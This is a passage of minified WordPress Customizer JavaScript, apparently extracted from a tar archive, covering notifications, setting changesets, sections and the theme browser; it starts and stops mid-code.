e=Y.section(n.section()),t="video_header_not_available";e&&(n.active.get()?e.notifications.remove(t):e.notifications.add(new Y.Notification(t,{type:"info",message:Y.l10n.videoHeaderNotice})))}e(),n.active.bind(e)})}),Y.previewer.bind("selective-refresh-setting-validities",function(e){Y._handleSettingValidities({settingValidities:e,focusInvalidControl:!1})}),Y.previewer.bind("focus-control-for-setting",function(n){var i=[];Y.control.each(function(e){var t=_.pluck(e.settings,"id");-1!==_.indexOf(t,n)&&i.push(e)}),i.length&&(i.sort(function(e,t){return e.priority()-t.priority()}),i[0].focus())}),Y.previewer.bind("refresh",function(){Y.previewer.refresh()}),Y.state("paneVisible").bind(function(e){var t=window.matchMedia?window.matchMedia("screen and ( max-width: 640px )").matches:J(window).width()<=640;Y.state("editShortcutVisibility").set(e||t?"visible":"hidden")}),window.matchMedia&&window.matchMedia("screen and ( max-width: 640px )").addListener(function(){var e=Y.state("paneVisible");e.callbacks.fireWith(e,[e.get(),e.get()])}),Y.previewer.bind("edit-shortcut-visibility",function(e){Y.state("editShortcutVisibility").set(e)}),Y.state("editShortcutVisibility").bind(function(e){Y.previewer.send("edit-shortcut-visibility",e)}),Y.bind("change",function e(){var t,n,i,a=!1;function o(e){e||Y.settings.changeset.autosaved||(Y.settings.changeset.autosaved=!0,Y.previewer.send("autosaving"))}Y.unbind("change",e),Y.state("saved").bind(o),o(Y.state("saved").get()),n=function(){a||(a=!0,Y.requestChangesetUpdate({},{autosave:!0}).always(function(){a=!1})),i()},(i=function(){clearTimeout(t),t=setTimeout(function(){n()},Y.settings.timeouts.changesetAutoSave)})(),J(document).on("visibilitychange.wp-customize-changeset-update",function(){document.hidden&&n()}),J(window).on("beforeunload.wp-customize-changeset-update",function(){n()})}),J(document).one("tinymce-editor-setup",function(){window.tinymce.ui.FloatPanel&&(!window.tinymce.ui.FloatPanel.zIndex||window.tinymce.ui.FloatPanel.zIndex<500001)&&(window.tinymce.ui.FloatPanel.zIndex=500001)}),o.addClass("ready"),Y.trigger("ready"))})}((wp,jQuery));customize-controls.min.js000064400000331743150276633110011566 0ustar00/*! This file is auto-generated */
!function(J){var a,s,t,e,n,i,Y=wp.customize,o=window.matchMedia("(prefers-reduced-motion: reduce)"),r=o.matches;o.addEventListener("change",function(e){r=e.matches}),Y.OverlayNotification=Y.Notification.extend({loading:!1,initialize:function(e,t){var n=this;Y.Notification.prototype.initialize.call(n,e,t),n.containerClasses+=" notification-overlay",n.loading&&(n.containerClasses+=" notification-loading")},render:function(){var e=Y.Notification.prototype.render.call(this);return e.on("keydown",_.bind(this.handleEscape,this)),e},handleEscape:function(e){var t=this;27===e.which&&(e.stopPropagation(),t.dismissible)&&t.parent&&t.parent.remove(t.code)}}),Y.Notifications=Y.Values.extend({alt:!1,defaultConstructor:Y.Notification,initialize:function(e){var t=this;Y.Values.prototype.initialize.call(t,e),_.bindAll(t,"constrainFocus"),t._addedIncrement=0,t._addedOrder={},t.bind("add",function(e){t.trigger("change",e)}),t.bind("removed",function(e){t.trigger("change",e)})},count:function(){return _.size(this._value)},add:function(e,t){var n,i=this,t="string"==typeof e?(n=e,t):(n=e.code,e);return i.has(n)||(i._addedIncrement+=1,i._addedOrder[n]=i._addedIncrement),Y.Values.prototype.add.call(i,n,t)},remove:function(e){return delete this._addedOrder[e],Y.Values.prototype.remove.call(this,e)},get:function(e){var a,o=this,t=_.values(o._value);return _.extend({sort:!1},e).sort&&(a={error:4,warning:3,success:2,info:1},t.sort(function(e,t){var n=0,i=0;return(n=_.isUndefined(a[e.type])?n:a[e.type])!==(i=_.isUndefined(a[t.type])?i:a[t.type])?i-n:o._addedOrder[t.code]-o._addedOrder[e.code]})),t},render:function(){var e,t,n,i=this,a=!1,o=[],s={};i.container&&i.container.length&&(e=i.get({sort:!0}),i.container.toggle(0!==e.length),i.container.is(i.previousContainer)&&_.isEqual(e,i.previousNotifications)||((n=i.container.children("ul").first()).length||(n=J("<ul></ul>"),i.container.append(n)),n.find("> [data-code]").remove(),_.each(i.previousNotifications,function(e){s[e.code]=e}),_.each(e,function(e){var t;!wp.a11y||s[e.code]&&_.isEqual(e.message,s[e.code].message)||wp.a11y.speak(e.message,"assertive"),t=J(e.render()),e.container=t,n.append(t),e.extended(Y.OverlayNotification)&&o.push(e)}),(t=Boolean(o.length))!==(a=i.previousNotifications?Boolean(_.find(i.previousNotifications,function(e){return e.extended(Y.OverlayNotification)})):a)&&(J(document.body).toggleClass("customize-loading",t),i.container.toggleClass("has-overlay-notifications",t),t?(i.previousActiveElement=document.activeElement,J(document).on("keydown",i.constrainFocus)):J(document).off("keydown",i.constrainFocus)),t?(i.focusContainer=o[o.length-1].container,i.focusContainer.prop("tabIndex",-1),((a=i.focusContainer.find(":focusable")).length?a.first():i.focusContainer).focus()):i.previousActiveElement&&(J(i.previousActiveElement).trigger("focus"),i.previousActiveElement=null),i.previousNotifications=e,i.previousContainer=i.container,i.trigger("rendered")))},constrainFocus:function(e){var t,n=this;e.stopPropagation(),9===e.which&&(0===(t=n.focusContainer.find(":focusable")).length&&(t=n.focusContainer),!J.contains(n.focusContainer[0],e.target)||!J.contains(n.focusContainer[0],document.activeElement)||t.last().is(e.target)&&!e.shiftKey?(e.preventDefault(),t.first().focus()):t.first().is(e.target)&&e.shiftKey&&(e.preventDefault(),t.last().focus()))}}),Y.Setting=Y.Value.extend({defaults:{transport:"refresh",dirty:!1},initialize:function(e,t,n){var i=this,n=_.extend({previewer:Y.previewer},i.defaults,n||{});Y.Value.prototype.initialize.call(i,t,n),i.id=e,i._dirty=n.dirty,i.notifications=new Y.Notifications,i.bind(i.preview)},preview:function(){var e=this,t=e.transport;"postMessage"===(t="postMessage"!==t||Y.state("previewerAlive").get()?t:"refresh")?e.previewer.send("setting",[e.id,e()]):"refresh"===t&&e.previewer.refresh()},findControls:function(){var n=this,i=[];return Y.control.each(function(t){_.each(t.settings,function(e){e.id===n.id&&i.push(t)})}),i}}),Y._latestRevision=0,Y._lastSavedRevision=0,Y._latestSettingRevisions={},Y.bind("change",function(e){Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision}),Y.bind("ready",function(){Y.bind("add",function(e){e._dirty&&(Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision)})}),Y.dirtyValues=function(n){var i={};return Y.each(function(e){var t;e._dirty&&(t=Y._latestSettingRevisions[e.id],Y.state("changesetStatus").get()&&n&&n.unsaved&&(_.isUndefined(t)||t<=Y._lastSavedRevision)||(i[e.id]=e.get()))}),i},Y.requestChangesetUpdate=function(n,e){var t,i={},a=new J.Deferred;if(0!==Y.state("processing").get())a.reject("already_processing");else if(e=_.extend({title:null,date:null,autosave:!1,force:!1},e),n&&_.extend(i,n),_.each(Y.dirtyValues({unsaved:!0}),function(e,t){n&&null===n[t]||(i[t]=_.extend({},i[t]||{},{value:e}))}),Y.trigger("changeset-save",i,e),!e.force&&_.isEmpty(i)&&null===e.title&&null===e.date)a.resolve({});else{if(e.status)return a.reject({code:"illegal_status_in_changeset_update"}).promise();if(e.date&&e.autosave)return a.reject({code:"illegal_autosave_with_date_gmt"}).promise();Y.state("processing").set(Y.state("processing").get()+1),a.always(function(){Y.state("processing").set(Y.state("processing").get()-1)}),delete(t=Y.previewer.query({excludeCustomizedSaved:!0})).customized,_.extend(t,{nonce:Y.settings.nonce.save,customize_theme:Y.settings.theme.stylesheet,customize_changeset_data:JSON.stringify(i)}),null!==e.title&&(t.customize_changeset_title=e.title),null!==e.date&&(t.customize_changeset_date=e.date),!1!==e.autosave&&(t.customize_changeset_autosave="true"),Y.trigger("save-request-params",t),(e=wp.ajax.post("customize_save",t)).done(function(e){var n={};Y._lastSavedRevision=Math.max(Y._latestRevision,Y._lastSavedRevision),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),a.resolve(e),Y.trigger("changeset-saved",e),e.setting_validities&&_.each(e.setting_validities,function(e,t){!0===e&&_.isObject(i[t])&&!_.isUndefined(i[t].value)&&(n[t]=i[t].value)}),Y.previewer.send("changeset-saved",_.extend({},e,{saved_changeset_values:n}))}),e.fail(function(e){a.reject(e),Y.trigger("changeset-error",e)}),e.always(function(e){e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities})})}return a.promise()},Y.utils.bubbleChildValueChanges=function(n,e){J.each(e,function(e,t){n[t].bind(function(e,t){n.parent&&e!==t&&n.parent.trigger("change",n)})})},o=function(e){var t,n,i=this,a=function(){var e;i.extended(Y.Panel)&&1<(n=i.sections()).length&&n.forEach(function(e){e.expanded()&&e.collapse()}),e=(i.extended(Y.Panel)||i.extended(Y.Section))&&i.expanded&&i.expanded()?i.contentContainer:i.container,(n=0===(n=e.find(".control-focus:first")).length?e.find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first():n).focus()};(e=e||{}).completeCallback?(t=e.completeCallback,e.completeCallback=function(){a(),t()}):e.completeCallback=a,Y.state("paneVisible").set(!0),i.expand?i.expand(e):e.completeCallback()},Y.utils.prioritySort=function(e,t){return e.priority()===t.priority()&&"number"==typeof e.params.instanceNumber&&"number"==typeof t.params.instanceNumber?e.params.instanceNumber-t.params.instanceNumber:e.priority()-t.priority()},Y.utils.isKeydownButNotEnterEvent=function(e){return"keydown"===e.type&&13!==e.which},Y.utils.areElementListsEqual=function(e,t){return e.length===t.length&&-1===_.indexOf(_.map(_.zip(e,t),function(e){return J(e[0]).is(e[1])}),!1)},Y.utils.highlightButton=function(e,t){var n,i="button-see-me",a=!1;function o(){a=!0}return(n=_.extend({delay:0,focusTarget:e},t)).focusTarget.on("focusin",o),setTimeout(function(){n.focusTarget.off("focusin",o),a||(e.addClass(i),e.one("animationend",function(){e.removeClass(i)}))},n.delay),o},Y.utils.getCurrentTimestamp=function(){var e=_.now(),t=new Date(Y.settings.initialServerDate.replace(/-/g,"/")),e=e-Y.settings.initialClientTimestamp;return e+=Y.settings.initialClientTimestamp-Y.settings.initialServerTimestamp,t.setTime(t.getTime()+e),t.getTime()},Y.utils.getRemainingTime=function(e){e=e instanceof Date?e.getTime():"string"==typeof e?new Date(e.replace(/-/g,"/")).getTime():e,e-=Y.utils.getCurrentTimestamp();return Math.ceil(e/1e3)},t=document.createElement("div"),e={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"},n=_.find(_.keys(e),function(e){return!_.isUndefined(t.style[e])}),s=n?e[n]:null,a=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaultExpandedArguments:{duration:"fast",completeCallback:J.noop},containerType:"container",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null},initialize:function(e,t){var n=this;n.id=e,a.instanceCounter||(a.instanceCounter=0),a.instanceCounter++,J.extend(n,{params:_.defaults(t.params||t,n.defaults)}),n.params.instanceNumber||(n.params.instanceNumber=a.instanceCounter),n.notifications=new Y.Notifications,n.templateSelector=n.params.templateId||"customize-"+n.containerType+"-"+n.params.type,n.container=J(n.params.content),0===n.container.length&&(n.container=J(n.getContainer())),n.headContainer=n.container,n.contentContainer=n.getContent(),n.container=n.container.add(n.contentContainer),n.deferred={embedded:new J.Deferred},n.priority=new Y.Value,n.active=new Y.Value,n.activeArgumentsQueue=[],n.expanded=new Y.Value,n.expandedArgumentsQueue=[],n.active.bind(function(e){var t=n.activeArgumentsQueue.shift(),t=J.extend({},n.defaultActiveArguments,t);e=e&&n.isContextuallyActive(),n.onChangeActive(e,t)}),n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=J.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),n.deferred.embedded.done(function(){n.setupNotifications(),n.attachEvents()}),Y.utils.bubbleChildValueChanges(n,["priority","active"]),n.priority.set(n.params.priority),n.active.set(n.params.active),n.expanded.set(!1)},getNotificationsContainerElement:function(){return this.contentContainer.find(".customize-control-notifications-container:first")},setupNotifications:function(){var e,t=this;t.notifications.container=t.getNotificationsContainerElement(),t.expanded.bind(e=function(){t.expanded.get()&&t.notifications.render()}),e(),t.notifications.bind("change",_.debounce(e))},ready:function(){},_children:function(t,e){var n=this,i=[];return Y[e].each(function(e){e[t].get()===n.id&&i.push(e)}),i.sort(Y.utils.prioritySort),i},isContextuallyActive:function(){throw new Error("Container.isContextuallyActive() must be overridden in a subclass.")},onChangeActive:function(e,t){var n,i=this,a=i.headContainer;t.unchanged?t.completeCallback&&t.completeCallback():(n="resolved"===Y.previewer.deferred.active.state()?t.duration:0,i.extended(Y.Panel)&&(Y.panel.each(function(e){e!==i&&e.expanded()&&(n=0)}),e||_.each(i.sections(),function(e){e.collapse({duration:0})})),J.contains(document,a.get(0))?e?a.slideDown(n,t.completeCallback):i.expanded()?i.collapse({duration:n,completeCallback:function(){a.slideUp(n,t.completeCallback)}}):a.slideUp(n,t.completeCallback):(a.toggle(e),t.completeCallback&&t.completeCallback()))},_toggleActive:function(e,t){return t=t||{},e&&this.active.get()||!e&&!this.active.get()?(t.unchanged=!0,this.onChangeActive(this.active.get(),t),!1):(t.unchanged=!1,this.activeArgumentsQueue.push(t),this.active.set(e),!0)},activate:function(e){return this._toggleActive(!0,e)},deactivate:function(e){return this._toggleActive(!1,e)},onChangeExpanded:function(){throw new Error("Must override with subclass.")},_toggleExpanded:function(e,t){var n,i=this;return n=(t=t||{}).completeCallback,!(e&&!i.active()||(Y.state("paneVisible").set(!0),t.completeCallback=function(){n&&n.apply(i,arguments),e?i.container.trigger("expanded"):i.container.trigger("collapsed")},e&&i.expanded.get()||!e&&!i.expanded.get()?(t.unchanged=!0,i.onChangeExpanded(i.expanded.get(),t),1):(t.unchanged=!1,i.expandedArgumentsQueue.push(t),i.expanded.set(e),0)))},expand:function(e){return this._toggleExpanded(!0,e)},collapse:function(e){return this._toggleExpanded(!1,e)},_animateChangeExpanded:function(t){var a,o,n,i;!s||r?_.defer(function(){t&&t()}):(o=(a=this).contentContainer,i=o.closest(".wp-full-overlay").add(o),a.panel&&""!==a.panel()&&!Y.panel(a.panel()).contentContainer.hasClass("skip-transition")||(i=i.add("#customize-info, .customize-pane-parent")),n=function(e){2===e.eventPhase&&J(e.target).is(o)&&(o.off(s,n),i.removeClass("busy"),t)&&t()},o.on(s,n),i.addClass("busy"),_.defer(function(){var e=o.closest(".wp-full-overlay-sidebar-content"),t=e.scrollTop(),n=o.data("previous-scrollTop")||0,i=a.expanded();i&&0<t?(o.css("top",t+"px"),o.data("previous-scrollTop",t)):!i&&0<t+n&&(o.css("top",n-t+"px"),e.scrollTop(n))}))},focus:o,getContainer:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector).length?wp.template(e.templateSelector):wp.template("customize-"+e.containerType+"-default");return t&&e.container?t(_.extend({id:e.id},e.params)).toString().trim():"<li></li>"},getContent:function(){var e=this.container,t=e.find(".accordion-section-content, .control-panel-content").first(),n="sub-"+e.attr("id"),i=n,a=e.attr("aria-owns");return e.attr("aria-owns",i=a?i+" "+a:i),t.detach().attr({id:n,class:"customize-pane-child "+t.attr("class")+" "+e.attr("class")})}}),Y.Section=a.extend({containerType:"section",containerParent:"#customize-theme-controls",containerPaneParent:".customize-pane-parent",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null,panel:null,customizeAction:""},initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.sectionConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.id=e,n.panel=new Y.Value,n.panel.bind(function(e){J(n.headContainer).toggleClass("control-subsection",!!e)}),n.panel.set(n.params.panel||""),Y.utils.bubbleChildValueChanges(n,["panel"]),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e,n=this;n.containerParent=Y.ensure(n.containerParent),n.panel.bind(e=function(e){var t;e?Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})}):(t=Y.ensure(n.containerPaneParent),n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve())}),e(n.panel.get())},attachEvents:function(){var e,t,n=this;n.container.hasClass("cannot-expand")||(n.container.find(".accordion-section-title, .customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()?n.collapse():n.expand())}),n.container.find(".customize-section-title .customize-help-toggle").on("click",function(){(e=n.container.find(".section-meta")).hasClass("cannot-expand")||((t=e.find(".customize-section-description:first")).toggleClass("open"),t.slideToggle(n.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}))}))},isContextuallyActive:function(){var e=this.controls(),t=0;return _(e).each(function(e){e.active()&&(t+=1)}),0!==t},controls:function(){return this._children("section","control")},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=i.headContainer.closest(".wp-full-overlay"),r=o.find(".customize-section-back"),c=i.headContainer.find(".accordion-section-title").first();e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){c.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open"),s.addClass("section-open"),Y.state("expandedSection").set(i)}.bind(this),t.allowMultiple||Y.section.each(function(e){e!==i&&e.collapse({duration:t.duration})}),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):(t.allowMultiple||Y.panel.each(function(e){e.collapse()}),n())):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){r.attr("tabindex","-1"),c.attr("tabindex","0"),c.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open"),s.removeClass("section-open"),i===Y.state("expandedSection").get()&&Y.state("expandedSection").set(!1)):t.completeCallback&&t.completeCallback()}}),Y.ThemesSection=Y.Section.extend({currentTheme:"",overlay:"",template:"",screenshotQueue:null,$window:null,$body:null,loaded:0,loading:!1,fullyLoaded:!1,term:"",tags:"",nextTerm:"",nextTags:"",filtersHeight:0,headerContainer:null,updateCountDebounced:null,initialize:function(e,t){var n=this;n.headerContainer=J(),n.$window=J(window),n.$body=J(document.body),Y.Section.prototype.initialize.call(n,e,t),n.updateCountDebounced=_.debounce(n.updateCount,500)},embed:function(){var n=this,e=function(e){var t;Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.find(".customize-themes-full-container-container").before(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})})};n.panel.bind(e),e(n.panel.get())},ready:function(){var t=this;t.overlay=t.container.find(".theme-overlay"),t.template=wp.template("customize-themes-details-view"),t.container.on("keydown",function(e){t.overlay.find(".theme-wrap").is(":visible")&&(39===e.keyCode&&t.nextTheme(),37===e.keyCode&&t.previousTheme(),27===e.keyCode)&&(t.$body.hasClass("modal-open")?t.closeDetails():t.headerContainer.find(".customize-themes-section-title").focus(),e.stopPropagation())}),t.renderScreenshots=_.throttle(t.renderScreenshots,100),_.bindAll(t,"renderScreenshots","loadMore","checkTerm","filtersChecked")},isContextuallyActive:function(){return this.active()},attachEvents:function(){var e,n=this;function t(){var e=n.headerContainer.find(".customize-themes-section-title");e.toggleClass("selected",n.expanded()),e.attr("aria-expanded",n.expanded()?"true":"false"),n.expanded()||e.removeClass("details-open")}n.container.find(".customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.collapse())}),n.headerContainer=J("#accordion-section-"+n.id),n.headerContainer.on("click",".customize-themes-section-title",function(){n.headerContainer.find(".filter-details").length&&(n.headerContainer.find(".customize-themes-section-title").toggleClass("details-open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}),n.headerContainer.find(".filter-details").slideToggle(180)),n.expanded()||n.expand()}),n.container.on("click",".theme-actions .preview-theme",function(){Y.panel("themes").loadThemePreview(J(this).data("slug"))}),n.container.on("click",".left",function(){n.previousTheme()}),n.container.on("click",".right",function(){n.nextTheme()}),n.container.on("click",".theme-backdrop, .close",function(){n.closeDetails()}),"local"===n.params.filter_type?n.container.on("input",".wp-filter-search-themes",function(e){n.filterSearch(e.currentTarget.value)}):"remote"===n.params.filter_type&&(e=_.debounce(n.checkTerm,500),n.contentContainer.on("input",".wp-filter-search",function(){Y.panel("themes").expanded()&&(e(n),n.expanded()||n.expand())}),n.contentContainer.on("click",".filter-group input",function(){n.filtersChecked(),n.checkTerm(n)})),n.contentContainer.on("click",".feature-filter-toggle",function(e){var t=J(".customize-themes-full-container"),e=J(e.currentTarget);n.filtersHeight=e.parent().next(".filter-drawer").height(),0<t.scrollTop()&&(t.animate({scrollTop:0},400),e.hasClass("open"))||(e.toggleClass("open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}).parent().next(".filter-drawer").slideToggle(180,"linear"),e.hasClass("open")?(t=1018<window.innerWidth?50:76,n.contentContainer.find(".themes").css("margin-top",n.filtersHeight+t)):n.contentContainer.find(".themes").css("margin-top",0))}),n.contentContainer.on("click",".no-themes-local .search-dotorg-themes",function(){Y.section("wporg_themes").focus()}),n.expanded.bind(t),t(),Y.bind("ready",function(){n.contentContainer=n.container.find(".customize-themes-section"),n.contentContainer.appendTo(J(".customize-themes-full-container")),n.container.add(n.headerContainer)})},onChangeExpanded:function(e,n){var i=this,t=i.contentContainer.closest(".customize-themes-full-container");function a(){0===i.loaded&&i.loadThemes(),Y.section.each(function(e){var t;e!==i&&"themes"===e.params.type&&(t=e.contentContainer.find(".wp-filter-search").val(),i.contentContainer.find(".wp-filter-search").val(t),""===t&&""!==i.term&&"local"!==i.params.filter_type?(i.term="",i.initializeNewQuery(i.term,i.tags)):"remote"===i.params.filter_type?i.checkTerm(i):"local"===i.params.filter_type&&i.filterSearch(t),e.collapse({duration:n.duration}))}),i.contentContainer.addClass("current-section"),t.scrollTop(),t.on("scroll",_.throttle(i.renderScreenshots,300)),t.on("scroll",_.throttle(i.loadMore,300)),n.completeCallback&&n.completeCallback(),i.updateCount()}n.unchanged?n.completeCallback&&n.completeCallback():e?i.panel()&&Y.panel.has(i.panel())?Y.panel(i.panel()).expand({duration:n.duration,completeCallback:a}):a():(i.contentContainer.removeClass("current-section"),i.headerContainer.find(".filter-details").slideUp(180),t.off("scroll"),n.completeCallback&&n.completeCallback())},getContent:function(){return this.container.find(".control-section-content")},loadThemes:function(){var n,e,i=this;i.loading||(n=Math.ceil(i.loaded/100)+1,e={nonce:Y.settings.nonce.switch_themes,wp_customize:"on",theme_action:i.params.action,customized_theme:Y.settings.theme.stylesheet,page:n},"remote"===i.params.filter_type&&(e.search=i.term,e.tags=i.tags),i.headContainer.closest(".wp-full-overlay").addClass("loading"),i.loading=!0,i.container.find(".no-themes").hide(),(e=wp.ajax.post("customize_load_themes",e)).done(function(e){var t=e.themes;""!==i.nextTerm||""!==i.nextTags?(i.nextTerm&&(i.term=i.nextTerm),i.nextTags&&(i.tags=i.nextTags),i.nextTerm="",i.nextTags="",i.loading=!1,i.loadThemes()):(0!==t.length?(i.loadControls(t,n),1===n&&(_.each(i.controls().slice(0,3),function(e){e=e.params.theme.screenshot[0];e&&((new Image).src=e)}),"local"!==i.params.filter_type)&&wp.a11y.speak(Y.settings.l10n.themeSearchResults.replace("%d",e.info.results)),_.delay(i.renderScreenshots,100),("local"===i.params.filter_type||t.length<100)&&(i.fullyLoaded=!0)):0===i.loaded?(i.container.find(".no-themes").show(),wp.a11y.speak(i.container.find(".no-themes").text())):i.fullyLoaded=!0,"local"===i.params.filter_type?i.updateCount():i.updateCount(e.info.results),i.container.find(".unexpected-error").hide(),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1)}),e.fail(function(e){void 0===e?(i.container.find(".unexpected-error").show(),wp.a11y.speak(i.container.find(".unexpected-error").text())):"undefined"!=typeof console&&console.error&&console.error(e),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1}))},loadControls:function(e,t){var n=[],i=this;_.each(e,function(e){e=new Y.controlConstructor.theme(i.params.action+"_theme_"+e.id,{type:"theme",section:i.params.id,theme:e,priority:i.loaded+1});Y.control.add(e),n.push(e),i.loaded=i.loaded+1}),1!==t&&Array.prototype.push.apply(i.screenshotQueue,n)},loadMore:function(){var e,t;this.fullyLoaded||this.loading||(t=(e=this.container.closest(".customize-themes-full-container")).scrollTop()+e.height(),e.prop("scrollHeight")-3e3<t&&this.loadThemes())},filterSearch:function(e){var t,n=0,i=this,a=Y.section.has("wporg_themes")&&"remote"!==i.params.filter_type?".no-themes-local":".no-themes",o=i.controls();i.loading||(t=e.toLowerCase().trim().replace(/-/g," ").split(" "),_.each(o,function(e){e.filter(t)&&(n+=1)}),0===n?(i.container.find(a).show(),wp.a11y.speak(i.container.find(a).text())):i.container.find(a).hide(),i.renderScreenshots(),Y.reflowPaneContents(),i.updateCountDebounced(n))},checkTerm:function(e){var t;"remote"===e.params.filter_type&&(t=e.contentContainer.find(".wp-filter-search").val(),e.term!==t.trim())&&e.initializeNewQuery(t,e.tags)},filtersChecked:function(){var e=this,t=e.container.find(".filter-group").find(":checkbox"),n=[];_.each(t.filter(":checked"),function(e){n.push(J(e).prop("value"))}),0===n.length?(n="",e.contentContainer.find(".feature-filter-toggle .filter-count-0").show(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").hide()):(e.contentContainer.find(".feature-filter-toggle .theme-filter-count").text(n.length),e.contentContainer.find(".feature-filter-toggle .filter-count-0").hide(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").show()),_.isEqual(e.tags,n)||(e.loading?e.nextTags=n:"remote"===e.params.filter_type?e.initializeNewQuery(e.term,n):"local"===e.params.filter_type&&e.filterSearch(n.join(" ")))},initializeNewQuery:function(e,t){var n=this;_.each(n.controls(),function(e){e.container.remove(),Y.control.remove(e.id)}),n.loaded=0,n.fullyLoaded=!1,n.screenshotQueue=null,n.loading?(n.nextTerm=e,n.nextTags=t):(n.term=e,n.tags=t,n.loadThemes()),n.expanded()||n.expand()},renderScreenshots:function(){var o=this;null!==o.screenshotQueue&&0!==o.screenshotQueue.length||(o.screenshotQueue=_.filter(o.controls(),function(e){return!e.screenshotRendered})),o.screenshotQueue.length&&(o.screenshotQueue=_.filter(o.screenshotQueue,function(e){var t,n,i=e.container.find(".theme-screenshot"),a=i.find("img");return!(!a.length||!a.is(":hidden")&&(t=(n=o.$window.scrollTop())+o.$window.height(),a=a.offset().top,(n=n-(i=3*(n=i.height()))<=a+n&&a<=t+i)&&e.container.trigger("render-screenshot"),n))}))},getVisibleCount:function(){return this.contentContainer.find("li.customize-control:visible").length},updateCount:function(e){var t,n;e||0===e||(e=this.getVisibleCount()),n=this.contentContainer.find(".themes-displayed"),t=this.contentContainer.find(".theme-count"),0===e?t.text("0"):(n.fadeOut(180,function(){t.text(e),n.fadeIn(180)}),wp.a11y.speak(Y.settings.l10n.announceThemeCount.replace("%d",e)))},nextTheme:function(){var e=this;e.getNextTheme()&&e.showDetails(e.getNextTheme(),function(){e.overlay.find(".right").focus()})},getNextTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e+1])&&t.params.theme},previousTheme:function(){var e=this;e.getPreviousTheme()&&e.showDetails(e.getPreviousTheme(),function(){e.overlay.find(".left").focus()})},getPreviousTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e-1])&&t.params.theme},updateLimits:function(){this.getNextTheme()||this.overlay.find(".right").addClass("disabled"),this.getPreviousTheme()||this.overlay.find(".left").addClass("disabled")},loadThemePreview:function(e){return Y.ThemesPanel.prototype.loadThemePreview.call(this,e)},showDetails:function(e,t){var n=this,i=Y.panel("themes");function a(){return!i.canSwitchTheme(e.id)}n.currentTheme=e.id,n.overlay.html(n.template(e)).fadeIn("fast").focus(),n.overlay.find("button.preview, button.preview-theme").toggleClass("disabled",a()),n.overlay.find("button.theme-install").toggleClass("disabled",a()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded),n.$body.addClass("modal-open"),n.containFocus(n.overlay),n.updateLimits(),wp.a11y.speak(Y.settings.l10n.announceThemeDetails.replace("%s",e.name)),t&&t()},closeDetails:function(){this.$body.removeClass("modal-open"),this.overlay.fadeOut("fast"),Y.control(this.params.action+"_theme_"+this.currentTheme).container.find(".theme").focus()},containFocus:function(t){var n;t.on("keydown",function(e){if(9===e.keyCode)return(n=J(":tabbable",t)).last()[0]!==e.target||e.shiftKey?n.first()[0]===e.target&&e.shiftKey?(n.last().focus(),!1):void 0:(n.first().focus(),!1)})}}),Y.OuterSection=Y.Section.extend({initialize:function(){this.containerParent="#customize-outer-theme-controls",this.containerPaneParent=".customize-outer-pane-parent",Y.Section.prototype.initialize.apply(this,arguments)},onChangeExpanded:function(e,t){var 